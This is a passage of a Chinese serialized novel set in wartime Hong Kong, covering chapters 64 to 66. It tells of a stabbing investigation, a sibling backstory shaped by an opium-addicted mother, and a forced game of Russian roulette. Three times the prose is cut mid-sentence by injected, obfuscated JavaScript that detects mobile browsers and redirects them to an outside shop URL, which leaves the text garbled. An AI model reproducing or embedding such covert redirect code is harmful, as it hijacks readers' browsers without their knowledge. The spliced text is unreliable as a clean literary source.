下午护士来给她换了一道药,麻药的效果彻底没了,她疼得就差嚎啕大哭了,但是顾忌着在他面前的形象,憋得脸都发红。薛莲山再要把她抱在腿上,她也不乐意,他只好握着她的一只手逗她:“你们那里管爸爸叫老豆?” “是的。” “老豆和小桂对仗。” 她成功被这个冷笑话逗笑了,然后说:“莲山和雪池对仗。” “而且是一种互文,一般都是莲池、雪山,但交换也好不交换也好,都表达一样的氛围。” “什么叫互文?” “互文你不知道?将军百战死,壮士十年归。” “我一点印象都没有。” 他捏了一下她的手,“书都读到狗肚子里去了。” 她让他上床休息,薛莲山知道肯定不是两人挤一张床的意思,而是他上床、她坐凳子,故而不肯。金雪池面对他侧躺着,脸颊肉被挤起来一小堆,他说我看着你睡,她就把眼睛闭上。 两人早就同寝而眠了,但他第一次观察她睡觉的姿势:两只手的手腕都往里折,一只抵住下巴、一只抵住胸口,鸡爪一样,看着都别扭。他给她把手掌拉平,一会儿后,她又折回去。罢了,此人怪癖太多,由她去吧。 下半夜她哼哼起来,一出声,他就伸手来拍她;金雪池睁开眼睛,却发现他没有醒,完全是下意识的反应,拍了两下又不动了。她一起身,那只手就要从她胳膊上滑下来,连忙接住,轻轻放在床沿上。 至于说他睡觉的姿势,她看过一万遍了,怎么也看不厌。尤其是他现在枕着一条胳膊、趴在床边睡,床很矮,他坐一张小凳子,更得深深地弓下背来,委委屈屈的。像大人踩小孩的脚踏车,还要小心不弄坏。本来他明天就该出差,为了她,不知要推到什么时候去。其实让小桂陪她也是一样的,他一定要亲自陪。 他不爱她,但他有责任。 金雪池看了他好一会儿,扭过头,看到了窗外一轮遥远的白月亮,素影千丈,银辉万里,伤口就开始麻麻地发痒,像泡在一汪热泪里。所谓“中天一片无情月,是我平生不悔心”,尽在其中了。 第二日,两个英国巡捕来找了他们一趟,叽里呱啦地说了一通,大意是暂时没有发现尸体,各医院好像也没接待枪伤患者。“也许是请家庭医生到家里去了。” “衣物腹部有破洞,在家中救不活。”薛莲山道,“是所有医疗记录你们都可以查到吗?” “不,有一些医院的私人病房不能查,因为接待机关政要人物,需要保密。” “谢谢,请继续关注此事。” 金雪池插话道:“我可以看看血衣吗?” 证物封存起来了,巡捕掏出几张照片给她看:凶手脱下的仅仅是一件高领马褂,腹部一个大洞,贯穿前后,半件衣服上都是血;因为褂子是灰色,所以血迹尤为明显。马褂的口袋里有两支哈德门香烟,一条绣花帕子。 她一一浏览过去,又还给巡捕。巡捕又道:“另外,只有英籍公民和申请到牌照的华人才可以持枪。鉴于你二位非法持枪,我们需要没收枪支,并处罚金。” 薛莲山说:“我们是内地来的,过去有牌照,走得匆忙,来不及带。出来的时候日本正在攻打上海,随身不带枪怎么行?” 三人又说了一通,金雪池有一句没跟上,后面的就都没跟上了。薛莲山不知道说了什么,那两个巡捕又没让他们交罚金。等他们走了后,他悠悠道:“这里不比上海,治安严格多了。怪不得人家拿刀刺杀你,不直接开枪。” “你还弄得到枪和子弹吗?” “弄不到,没有门路。” “唉,”金雪池感到很惋惜,“我很喜欢那把小手枪的。说起来,我对凶手有点头绪了。” 薛莲山简直不敢相信她这么平静地说出“我对凶手有点头绪了”,霍然站起来,“什么?” “那张手帕上绣的花样,我在陈幼兰的描花本子上看到过。她最喜欢绘制花样,然后做衣服、做鞋子、做手帕的时候绣。如果方便的话,你可以去探探袁孝勋的口风。”她闭上眼睛,叽叽咕咕道,“我现在都有点不想查了,绝对和我妈妈有关。我怕查出来的结果是老豆把我妈怎么样了......那就真糟糕了,我知道老豆是个混蛋......” “为了你的安全,事情也要查清楚。大不了我查完不告诉你。” “不行,我好奇。” “好,一起查。”他抹了抹头发,“我回去洗个澡,要臭了。” 薛莲山在回去的路上想起了邵子骏,当初有他的时候,枪支子弹说要就要,说找人就找人、说封口就封口,看来无论走到哪个地方,结交地头蛇式的人物都是有必要的。香港的地头蛇,乔家算一个,但他瞧不上乔裕民那样第一面就不坦诚的人。不像子骏,彻头彻尾的好孩子。 他怀着悲天悯人的心情想了邵子骏一会儿,转而想起了该怎么办。 以袁孝勋的地位,是有办法包下一间私人病房而不走漏风声的;好在无论是他、还是他那个娘家式微了的太太,目前都不具有实权,并非不可撼动。 至于那位凶手,如果关系亲密到陈幼兰为他绣手帕的话,大概不是简单的雇佣关系。陈幼兰不会灭口消除证据,反倒会竭力保下他。香港岛就这么大,医疗技术最好、且有VIP服务的,仅有玛丽医院和宝修医院两家。 换鞋的时候,他就开始呼唤定青,“你去人力市场挑七八个男孩子,年纪小一点,在玛丽医院和宝修医院的最上层轮流站岗,看有没有推在担架床上要转院的。” “推在担架床上?” “是的,金小姐那一枪下去,不死也半残了。价格可以开高一点。” 洗完澡、换了套衣服,他送小桂去照顾金雪池,接着驱车直接去了袁公馆。袁公馆里岁月静好,好的过了头,陈太太和陈幼兰在做女红,袁孝勋甚至在书房里。自他认识袁孝勋起,这位爷就没踏进过书房。 他跟两位太太打了招呼,掩上书房的门,凑过去看袁孝勋在写什么。袁孝勋猛地把稿纸翻了个面,“你来做什么?” “我太太受了刺杀,已经转移到九龙去了。” 袁孝勋震了震,“是么?” 他瞥他一眼,把帽子托在手上,找了张椅子坐下,“孝勋,我和你不兜圈子。我掌握了一些直指向令夫人的证据——不要激动,听我说完。我一介商贾,不想和你们家产生闹不愉快,但太太的仇也非报不可。倘若你知道内情,请尽快向我坦诚,并把凶手交出来,和气生财。” “你疯了?”他皱着眉头说,“这和幼兰有什么关系,她肚子都大了。” 薛莲山脸上一丝笑意都没有,“看在你姐姐的份上,给你三天机会,你应该不至于多么爱你太太吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299641|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?三天过后,我们对簿公堂。孝勋,你知道惹官司对你的家族来说意味着什么,勿谓言之不预也。” 不等袁孝勋做出任何反应,他扣上帽子就走了,招呼也没打。屋内三人齐齐望着他的背影,各发各的怔。 陈幼兰的心里很空、很宁静,她想:薛先生原来长这样。说了好久要让我见见,在这个情况下见到了。 陈太太率先发问:“怎么回事?薛先生找你做什么?” 袁孝勋趴在栏杆上,没理她,只是盯着陈幼兰。陈幼兰抱起打了一半的枕头套继续打,并不看他。片刻后,袁孝勋拖着脚步回到书房,把门锁上了。 他虽然嘴上轻浮,但是心里一直怕薛莲山。怕他,本质上是怕袁孝慈,他们是虎和伥,他是暂未死的人。 葡萄牙有一句谚语说:运气好的人,第一胎生女孩。意思不是女孩能带来好运气,而是第一胎生了女孩,等女孩长大了,可以长姐如母式地照顾弟弟妹妹,于这个家庭来说,是一种福。 袁孝慈比袁孝勋大四岁,按理说,该当他的母。何况他们真正的母亲不靠谱,原来是个伶人,倚仗自己的美貌,把家中其他太太得罪了个遍;生下儿子后,自认为完成了任务,又开始抽大烟、赌牌、到外面跟人鬼混。 作为较大的那一个,女孩又天生比男生早熟,袁孝慈在很小的时候就觉察出了生活环境的危机四伏。祖母过生日,家里请粤剧班子来唱戏,唱《南唐残梦》,她听着听着,便要下泪: 哀邦家亡,历劫鸳鸯偶。寄寓他乡,似飘萍逐水流。恨悠悠,连连风雨几时休。此身犹若风中柳。钟鸣鼎食成乌有,曼舞轻歌梦中求。漫道江山如锦绣,末路王孙作楚囚! 坐在母亲另一侧的袁孝勋则有节奏地摆动着一双短腿,则认为这是一生中不可多得的好光景。家庭富庶、锦衣玉食,父兄娇纵,此刻年纪尚小,还不用读书。最大的烦恼就是母亲不管他、姐姐太凶了点——母亲不管,有奶妈管;姐姐凶,离她远点就是了嘛! 何况,母亲只是不管他,不是不爱他,至少他是这么认为的。比起姐姐,母亲对他的喜爱明显得多,常叫他盘在榻上替她烧烟,倘若他烧出晶亮亮的大烟炮,她就奖励他一个香吻。酒食魇足了,母亲还会把他抱在膝头,教他唱小曲,“冤难了,恨难消,跪对海神哀叫,跪对海神哭表。说什么天眼昭昭,说什么神光普照,何以王魁薄幸偏荣耀。” 他爱母亲,母亲真漂亮,水藻一样的头发也不梳,就垂着,全垂他脸上;他承接下来,就是承接她的爱了。 因此,他的双脚常年不跑动,他的皮肤常年不见光,他的嗓子常年夹着说话,他的口鼻常年浸泡在叆叇烟雾中。日常月久,养出个女孩儿似的男孩,没骨头似的歪歪倒倒,皮肤苍白,嘴上还被母亲抹一道胭脂。 有时候,袁孝勋会感觉姐姐太可怜,好多天都没见到母亲,没得到母亲的一个拥抱、一个吻。他自作聪明地去找她:“喂,就说我病了,你去替我烧烟好不好?” 袁孝慈从鼻子里哼一声,“你病了吗?” “你就这样说!” “谁上赶着去闻那玩意儿?”她推开他往外走,“你真病了,我也不去。” 袁孝勋认为她太不识好歹,渐渐的,也就不为她创造机会了。不过母亲有时候塞给他两片黄桃干、一块方糖,他仍能慷慨地分姐姐一半。袁孝慈一看,方糖是喝咖啡免费送的方糖,黄桃干是舞厅里的黄桃干,来路又廉价、又不正。她的傻弟弟,把这种东西当恩赐。 64.本是同根生 两人逐渐到了要上学的年纪,那时候,新式学堂尚未兴起,有钱人家的孩子大多还是读私塾。袁老爷当然以儿子的岁数为主要参考,给他们请塾师的时候,袁孝勋六岁,袁孝慈十岁。 袁孝勋尚未玩够,袁孝慈却已苦苦盼望读书好一阵子了。 塾师年纪大、眼瞎耳背,经常他自顾自地讲着,袁孝勋已经溜到座椅底下去捉虫子玩。他的功课越跟不上,塾师就越不把注意力放他身上;塾师越不管他,他就越跟不上。 袁孝勋一点也不在乎,他不知道读书重要,他只怕母亲得知自己总挨罚会不高兴。母亲那时候脸色已经开始不好了,水草一样的头发大把大把地掉,她说:“罚你,你另找时间去抄。可是下午五点,必须要来给我烧烟。” 他像一只小宠物似的,拱着母亲献媚,她身上馨热的气息在他鼻腔里乱窜,“五点——不行,因为我背完书才可以放学。” 母亲就叫起来:“五点就过来!” 他反正也不想背书,正和他意,于是公然跟塾师唱起了反调;塾师让他留堂,他偏要跑。事情闹到袁老爷那里去,袁老爷赏了他一顿好打,罚他跪祠堂,又换了个塾师。 父亲说:“看看你姐姐——孝慈,你要多管教他一些。他不懂事!” 袁孝慈抠着手指头,低头应了一声。 新来的塾师简直严厉过了头,用戒尺打手心是家产便饭了,倘若袁孝勋闹得太过,他还要把他摁在长凳上打板子。袁孝勋已经是野惯了的,哪里受得了他这么管,一挨打就往母亲那里跑。母亲也心疼他,抓起他红肿的手往嘴边凑,一下一下地亲。 “你爹就是不喜欢我们!”她一边哭,一边乱叫,“他故意打你的,他见不得我们母子好!脏心烂肺的东西,儿子够多了,不差你一个,不把你当人看了!娘把你当人看,娘爱你。他说话就是放屁,你一个字也不要听,你听不听娘的话?” 他跟着哭:“我从来都听娘的话啊!” “这就对了,我们两个是一条心。娘没了你,娘就不活了;你没了娘呢,也该活不下去了!” 有时候袁孝慈路过门口,听见两人在里面嗷嗷乱叫,感觉真是一对疯子。弟弟的声音尖尖高高的,一点都不像男子汉;母亲的声音毛毛刺刺的,她曾经有过好嗓子,被大烟毁了。茕茕独立,将影子也小心摆在离门槛很远的地方,一种荣耀的孤独感油然而生。 父亲的官是越做越大了,还和洋人建立了友好关系,和他们见面的时间也越来越少。偶尔见了,像是两个国家在外交,跟他们打官腔:“你们有什么梦想?” 袁孝勋抢答说:“我长大以后要当汽车夫。”他那时候不可救药地迷恋上了汽车。 袁孝慈说:“我梦想成为和爹一样的人。” 回去的路上,袁孝勋取笑她:“‘和爹一样的人’是什么样的人?秃头大肚子的人?” 她反问道:“汽车夫有什么出息?” “很好玩啊,我缠着王叔,让他教我,我喜欢握着那个盘子,然后嘀嘀——嗒——嘀。等我学会开车了,我偷偷把车开出去,带你去兜风。” 袁孝慈沉默了一下,“但你无论如何不该在爹面前这样说,他不会喜欢这个说法。” “去他的,谁要他喜欢?他不是好人,娘说的。” 袁孝慈便不理他了,同时有点恨。这个袁孝勋完全是娘的狗腿子,娘又不是聪明人,发疯、撒泼时说的每一句话,他都奉为圣旨,不知道什么时候会惹出乱子。倘若自己从小真负起“长姐如母”的责任,做他的母,他现在大概也是自己的狗腿子,为自己马首是瞻。 但这永远只是个假设。 曹植写:煮豆燃豆萁,豆在釜中泣。本是同根生,相煎何太急?她与他就是同根生,本来应该成为这深宅大院里最亲密的同盟。但人家曹丕曹植是兄弟俩,打出了胜负,才分出谁在锅中、谁在锅底;他们是姐弟,一落地,弟弟就是天生煮姐姐来的。她不能跟他做同盟,只能趁他小、趁他傻,跟他做对手,把他先扔到锅里去。 袁孝慈有时候会幻想自己和弟弟的关系、像母亲和弟弟的关系那样,又有点羡慕,又有点恶心。可能是没人抱过她、亲过她,所以才觉得恶心。正如她对弟弟这个人,又好爱,又好恨,可能是她从未真正和他亲密过,爱和恨都没落到实处,所以爱也爱得漫漶、恨也恨得无极。 袁孝勋进入青春期后成了个无赖,塾师打他,他嬉皮笑脸,再不哭了;父兄训他,他也不以为然,丝毫不觉得是丑事。他在外头认识了一群三教九流的朋友,每天偷跑出去和他们鬼混。 袁孝慈自然是求之不得,原来是为两个人请的塾师,都成了她的私教。 两人的话也越来越少,好像男孩进入青春期就是这样,不愿意搭理一切女性,不管是青梅竹马的朋友、姐姐还是母亲。袁孝慈原来嫌他声音难听,他再不找她,她反倒有点怅然。母亲则是完全不能接受,她的烟瘾深入骨髓,只有儿子能把她伺候舒服。 “你不给我烧烟了?为什么?”她在床上又蹦又跳,披头散发地,蹦到地上,“为什么为什么为什么?你要我死啊?” 袁孝勋总不能说——他是慢慢地回过味来了。从来都是妓女给老太爷烧烟,他一个正正当当的少爷,成天捣鼓大烟枪,像什么话?他斜眼睨着她,又要端住小少年的自尊,又心疼她。爹是不爱她的,姐姐是不爱她的,她疯成这样子,除了自己,再没别人了。 因此,他总不能下个真正的决心,和她,和她带来的一切影响一刀两断。有时候在外面喝酒喝得高兴了,他赖在榻上,愿意给她烧烟泡,还愿意给她唱两片新学的曲子;有时候,她要发疯,她要咬人、用指甲抓人,他也打她,反正他没有很多身为男人、不能打女人的自觉,他也用指甲抓她。 母亲嚎得像濒死的牲畜,袁孝慈突然上了楼,极为罕见地进了房间,扇了他一巴掌。 “以下犯上!”她喝道,“我要写信告诉爹。” 袁孝勋跳起来,也是披头散发的,叫道:“什么?你管过她吗?你睁开眼看清楚,我好歹管她!你个颠婆你敢打我——” 袁孝慈又打了他一下,他捂着脸,懵了,缩着像个小小的女孩子。袁孝慈看他这副样子就来气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299642|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,接二连三地扇他,叫道:“就打你了!爹让我管教你,你要怎么着?” 于是袁孝勋就很不知所措地蹲下来,像小时候一样,嘤嘤地哭起来。 他后来就越来越无赖,干脆不回家,又偷了家里的一把车钥匙,开走了那辆车。某天凌晨他翻墙回来在厨房里偷吃的,袁孝慈也正好披着寝衣睡不着,四目相对下,两人都意识到一年没有讲话了。 “爹还到处让人找我呢,把我当女人似的,一夜未归,就怕在外面失了贞?”他嘲讽似地说道,“我现在睡车里,开到哪里睡哪里。” 袁孝慈其实想说那车旧了,要不我贴一百给你,你把车当了,换一辆新的?她一方面想讨好他,一方面想规劝他——是的,她都快二十岁了,终于生出一点长姐如母似的慈悲,要规劝他回头了。他已经毁了、废了,就算从现在开始用功十年,也不能对她构成威胁。 女人是一种处境。她最终说,“我们之中,我是男人,你是女人。” 袁孝勋低着头把叉烧包往布袋里装,装得那个袋子油乎乎的,轻声说:“随你吧,我从来只想当个汽车夫。” 她于是知道,就算他学会了开车、要带人兜风,那汽车上都再不会有她的座位了。 母亲在儿子两个月不来看自己一眼后,彻底陷入癫狂。某天佣人没看住,她衣衫不整就溜出去,和一个送报的调笑了几句,那男人就伸手摸她。这事被好事者看到,一传十,十传百,本来是疯子的行径,居然有滋有味地传开了。 袁孝慈辛辛苦苦在父亲那里得到的一点关注,又一次付诸东流。 薛莲山就是那时候出现的,他建议她把弟弟抓回来,抓回来母亲就好了。袁孝慈说问题就是抓不回来,怎么办呢?薛莲山说那多简单,他穿一件衬衫混进台球厅,和袁孝勋聊得十分投缘——至少袁孝勋这么觉得,又提出要看他的汽车。 这就说到袁孝勋的得意之处了,他认识了几个修车工,把旧汽车改装了一番,使其速度更上一层楼,尽管有着油箱着火的风险。薛莲山安抚着安抚着,忽然把他绑起来,挣扎中他乱咬乱吐唾沫,薛莲山在他脸上轻轻拍了一下,然后一路把车开回了袁公馆。 他回去后,娘就死了。他觉得他要是不回去,娘那口疯劲儿能吊很久。 袁孝慈倒是大松一口气,迎来了人生中最好的时节。封建君主一样的父亲卸下暴怒,再一次慢慢信任了她;疯子一样的娘死了,再不能给她添乱了;弟弟回到家里;她呢,人生之中第一次自由恋爱,爱上了一个太好太好的人。她那时候还很年轻,但很确切地知道:再不会碰到更好的了。 她从来是个很冷硬的女人,没有办法,世界太动荡。暴君朝令夕改,疯子时笑时哭,弟弟干脆不知道是男的还是女的,神出鬼没、不见踪影,她为了应付这永恒变化、永不安宁的一切,只能化为石头,以身殉道,镇压他们。然而薛莲山是一座山,他稳固、温和,她在他身边,是可以开出一朵花的。 她知道他会走,不要紧,她太累了,短暂地靠一靠就行。 然而在袁孝勋眼里,事情却全不是这样。 65.出院 袁孝勋从未设想过有朝一日姐姐会自由恋爱,太超出他的预期了,你不是要做男人吗?她在他身边,萎缩成一个女人了。 薛莲山是太标准的男人了,首先他高,其次他的长相简直是对中国几千年君子形象的一个概括,最后他情绪稳定。每次袁孝勋看到父亲,父亲总是情绪稳定,没有任何一个人的不幸能撼动他;反观家里,妈妈、姐姐、他,三个女人,总是互扇巴掌。因此他认为情绪稳定是非常男性化的特质。 每回袁孝慈急赤白脸地对着薛莲山说几句话,后者抚着她的脸温声几句,她也立刻笑了。 某个夜里袁孝勋隔着一堵墙,听到姐姐的喘息。姐姐嫌他声音尖细,她自己说话则追求一个掷地有声,现在她一步步地放弃追求、放弃抵御,任由自己化作女人、化作恋爱中的傻子、化作一滩春水。 “嗯——”长长的一声后,戛然断开。 袁孝勋知道那个狗日的薛莲山进入她了!他猛地翻身坐起,满头满脸都是汗,简直想吐。他感觉是自己在进入她,把暴力还给她、把支配权夺回来、居高临下地看她的身体,谁是男人、谁是女人,从此泾渭分明;又感觉是自己正在被侵占,他和姐姐同根生,他们是一体,姐姐失贞的这夜里,他也失了贞。 太恶心了。他用被子蒙住脸,在闷热、密闭的黑暗空间里浅浅地呼吸着,呕吐的欲望越来越强。太恶心了,男人和女人那回事。 袁孝慈对他的心理活动一无所知,她对世上的一切事情都一无所知了,脸上浮着淡淡的红晕,转着圈儿下楼。她说:“你看我今天有什么不一样?” 薛莲山端详她好一阵,“画了个眉峰。” “还有呢?” “饶了我吧,看不出来了!” “我烫了睫毛。” “烫了吗?我以为你的睫毛天生就是这样。”他凑得很近去看,然后在她眼角吻了一下。袁孝慈咯咯直笑。袁孝勋青白着一张脸坐在远处,觉得她疯了。他们还戴着孝啊。 不管他和袁孝慈是爱彼此还是恨彼此,只是他们两个人的事,只有他们两个人。现在薛莲山插进来,把他们维持着微妙平衡的关系彻底打乱。有时候情侣俩交换一个眼神,朝他努努下巴,然后一齐笑起来——袁孝勋要恨死了!最终,是他们结成了同盟。 原来你需要同盟,需要一点爱。为什么不选我呢? 答案他其实也知道,因为袁孝慈要真正的男人,不是没用的狗腿子。他心里隐隐地刺痛了一下,但凡你当初拉我一把,我都不至于这么没用。晚了,什么都晚了,堕落得太久,回不了头了。 最令他惊诧的是,薛莲山并不和袁孝慈结婚,几个月后,离开了香港。 袁孝慈没向他解释过什么,他们之间只有最基础的沟通,从不深度交流。袁孝勋也不问,但一连几夜,似乎还能幻听到隔壁的动静,听到姐姐连笑带喘,再仔细一听,只听到她在啜泣。 他不敢相信在姐姐向那人雌伏之后,那人还不要她。那人根本就不是为了爱来的,是为了征服来的,夺走了她的贞操,也夺走了他的。本是同根生,她输了,连带着他一败涂地。他以为她英明神武,他以为她坚若磐石,到头来,她只是个糊涂女人,不过如此。 袁孝勋想要冷笑,但是面部肌肉僵冷,嘴角牵扯不动;用手一抹,原来自己也已满面泪痕。 本是同根生,本是同根生。 有人在敲门。他懒懒地趴在桌上,不想动,陈幼兰也不指望他,下去找管家要钥匙,开了门,轻声说:“我娘出门去了。你们刚才在说什么?” “他知道是你。” “这么快?” “我跟你说过!”袁孝勋跳起来,“你表姐成他老婆了,就不要惹了!你非不听!你要害死我了,他说他三天后就要跟我们打官司,除非把你六叔交出去。” 陈幼兰的脸涨红了,“不行,六叔几乎就是我爹。” “哈,你爹半死不活,我爹如日中天啊!真惹上官司了,他能把我打死。我不管你了,我现在就去找姓薛的——” “不,孝勋,等一等,”她坐在书桌后的单人沙发上,“冷静一点。我们带着六叔暂时回温州避一避,让六叔把伤养好,等他们找到我们。” “找到我们就完了,可以直接定性为畏罪潜逃。” “找到温州去,我就有办法把他们解决掉。温州有我爹和六叔的旧部下。兵都是卸甲的兵了,许久不扛枪,但解决两个势单力薄的人还是绰绰有余。” 袁孝勋跌坐回椅子上,和她对望着,喃喃道:“没有你这样乱来的。对于你表姐的事,我就不同意,现在又加一个薛莲山。” “你怕他?世上大多数人看上去不可战胜,实则外强中干。你一点也不比他差,不要怕。” 袁孝勋长长地叹出一口气,将手肘支在膝盖上、捂住脸,偏长的头发垂下,盖住半张脸。对面的陈幼兰亭亭端坐,垂着眼瞳俯视他,少顷,伸手插进了他的头发里。于是袁孝勋的脑袋越垂越低,最终搁在了她膝上。 一天后,金雪池出院了。 她那伤口其实不深,按时换药就行,最糟糕的地方在于失血太多。所幸年轻健康,吃吃喝喝补养回来就好。小桂像伺候月子一样给她做好饭好菜吃,在医院的几天里,她都吃得相当满足了。 薛莲山一大早就开车去接她,结果这破车再度中途抛锚,他找到最近的电话亭打给汽修公司拖车、等人来、再搭电车到医院,已经是中午时分。还好金雪池在聚精会神地做象棋题,并没体会到苦苦等他一上午的滋味。 临走前,她把那条破了口的旗袍要了回来。旗袍做工很好、结实耐穿,且漂亮,当初花了六七十法币买的,可以穿很多年。“那件大衣呢?” “大衣我当时随手扔路上了。” “唉。”她惋惜地念念着,“麂皮的呢。” 薛莲山拍了一下她的脑袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303961|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“对不起。” “这没有什么对不起的,你当时是为了帮我止血。” “我是说没给你买新衣服。” “你自己也没买,没关系的。” 薛莲山借前台的电话打给汽车行,叫了一部汽车来,然后用从家里带来的帽子围巾把金雪池裹了个严严实实,搂着她上了车。两人秘密地回到家里,小桂在门厅前放了个火盆,去去晦气。 他们一点钟跨过去,晦气两点钟就追来了。 先是催债的,薛莲山和颜悦色地和他们聊了半天,他们也和颜悦色地接受了他的说辞并离去,但一出门,就剪断了薛公馆的电线,导致全屋停电。 没过多久,门又被敲响。他以为是催债的回来了,亲自去开门,一开门就被手枪抵住了额头。 定青和小桂同时叫起来,金雪池一开始为了避人耳目躲在房间里,闻声而出,扒在栏杆上往下望。薛莲山倒是淡定,举起双手后,打量了一番对方的着装。这人不怕冷似的,只穿对襟白色单衫,袖子还卷到了小臂上。 “上海青帮?”他向对方微笑了一下,“大少爷让你来的?” “猜得这么准,你问心有愧。” 话音未落,邵子驹就背着手踱进来,身后还跟了一个小弟。他比一年前瘦了,脸色蜡黄、眼窝凹陷,脂肪一流失,就使本还方正的脸型变得崎岖起来,显出几分猴相,像他弟弟;身着靛青长衫,因为旅途遥远,已经污迹斑斑。 他无奈地一笑,“我没有愧,但我理解你的心情。” 邵子驹一屁股坐在沙发上,拎了拎长衫下摆,环视四周,发现这房子比愚园的薛公馆差远了。原来他也过得不怎么样,不如他想象中的逍遥。 “你理解我的心情?你说我是什么心情?” “从小带大的弟弟忽然没了......” “你还知道那是我弟弟,不是你弟弟?你怎么敢让他为你死在外面?” “大少爷,你太言重了。”薛莲山朝定青小桂摆手示意他们上楼,“第一,那纯粹是个意外,我们都没反应过来。第二,是他自愿来找我的,不是我让他来。当然,我不否认子骏是为我而死。你要是也认同这一点,现在毙了我,他不是白死了?” 邵子驹冷笑一声,“你到底有什么本事,怎么男女老少都喜欢你?子骏跟你玩的好,这我知道,人也确实不是你杀的,我不打算直接毙了你。但是姆妈死之前逼着我发誓,有一口稠的、不给子骏吃稀的,我怎么样都要给她一个交代......这样吧。” 他从随身携带的提包里掏出一把左轮手枪、三颗子弹,放在两人中间的圆几上。 “这把手枪有六个槽,三发子弹,随你以怎样的排列方式填进去。填进去后,转动轮盘,然后对着自己脑袋开一枪。死了活该,要是没死,就算子骏的在天之灵再救你一次,我不追究了。”他用力拍了一下圆几,“二分之一的概率,很公平。请吧!” 66.转轮 薛莲山慢慢地把左轮手枪拿起来,打开弹槽,作势研究着,血管在太阳穴下突突直跳。 邵子驹身上肯定还有别的手枪,那两个小弟也有,逃跑是跑不掉的。至于说填进子弹后直接对着他连开六枪,虽然有把握把他打死,但自己八成也活不成,激怒了青帮,还连累金雪池、定青他们。怎么办?真的拼运气? “真要算起来,”他漫不经心地开口,“是日本人杀害了子骏。你要报仇,其实该找他们,结果你还替他们——” “闭嘴!”邵子驹吼起来,“再说一句不相干的试试看?” “我要是说相干的呢?” “还有什么相干的?” “这个运气游戏相关的。”他非常诚恳地把枪放回去,“我这人运气不好,多半要死了。但是自己杀自己没意思,如果能选一个死法的话,我想要——牡丹花下死。行不行?” 邵子驹认为这人能提出这要求一点也不奇怪,嗤笑一声,“行。牡丹花在哪?” 他话音未落,金雪池就趿着木拖鞋踩到了楼梯上,啪的一声,两人心头俱是一震。薛莲山有点喘不过气来了,深重地呼吸着,偏偏那拖鞋声不给他放松的余地,噼噼啪啪越走越快,到他身边时,卷来了一阵气流。 她面无表情,捡起左轮手枪研究片刻,然后给三发子弹上了膛。 薛莲山闭上眼,耳膜里只鼓动着自己的心跳声和她拨转盘的声音。她似乎是为了把概率洗得很彻底、很均匀,用力地拍滑了四五下,转盘中的棘轮咔啦啦直响。末了,合上弹槽,对准他。 枪膛距离他不到三厘米。金雪池似乎也在手抖,需要借一个力,抖着抖着就直接把枪抵他头上了,反正子弹之下,没有差别。 邵子驹命令道:“扣扳机吧!” 所有人都屏住呼吸,小桂神干脆情凄然地闭上眼。薛莲山一动不动,听着血液冲击耳膜的轰鸣声,他以为自己会因过度紧张而脑中空白一片,没任何念头,因为他在世上是没什么牵挂的;玩得不错,没有遗憾,也不留恋谁。 然而他几乎就在瞬间想到:还是不该让她来的。我要在她面前血溅三尺,她得做多少宿的噩梦呢? 扳机声响起。 几秒后,薛莲山睁开眼,弯腰不可遏制地咳嗽起来。小桂一屁股坐到地上,定青重重呼出一口气,邵子骏缓缓地靠倒在沙发椅上,仰头盯着虚空中的某一点:这又是你自己选的。哥尽义了。 全场就金雪池最淡定,小弟来拿左轮手枪,她向后退了一步,“大少爷,这支枪能不能给我们呢?我们的手枪被英国佬收走了,现在手无寸铁......” 邵子驹一挥手,“拿去。这枪就是用来赌的,准头不好,不值钱。” 她鞠躬道:“谢谢大少爷。” 薛莲山用手帕捂住嘴,也坐到沙发上,隔了他一段距离。秩序恢复正常,定青从厨房里端了三杯茶出来,邵子驹毫不客气地拿了一杯,“我并非是特地来找你的,办件事就走。上海那边还需要我。” 需要你做汉奸吗?薛莲山忍着没说,把喉头的痒意压下去后,问:“你现在在做什么?” “做汉奸。” 场面冷了好几秒钟,邵子驹不耐烦道:“如果没有我,你逃得出来吗?你知道有多少人在我的帮助下逃出来了?又有多少人在我的庇佑下生活?我的心情是什么,你完全不知道。外界可不就这样评价我么!子骏到死都认为我是个汉奸。” 薛莲山道:“我现在有点明白了。” “也就是因为这里是香港,我多发几句牢骚。”他喝到了茶叶,呸一声吐到地上,“多的,不能再说了。如果有上海的朋友需要帮助,可以让他们联系我。哪天我要是不明不白的死了,大概是要遗臭万年的,你记着我今天说的这句话——我有两个儿子了,我不做让子孙蒙羞的事。” 他从茶几上顺走一根定青的烟,披衣出了薛公馆的门,那两名小弟也随即跟上,走了个无影无踪。 按理说,他们应该留邵子驹吃个晚饭,但一家人都惊魂未定、没想到这一茬。邵子驹那个来去如风的性情,大概也没耐心坐在这里拉家常,一直耗到饭点。 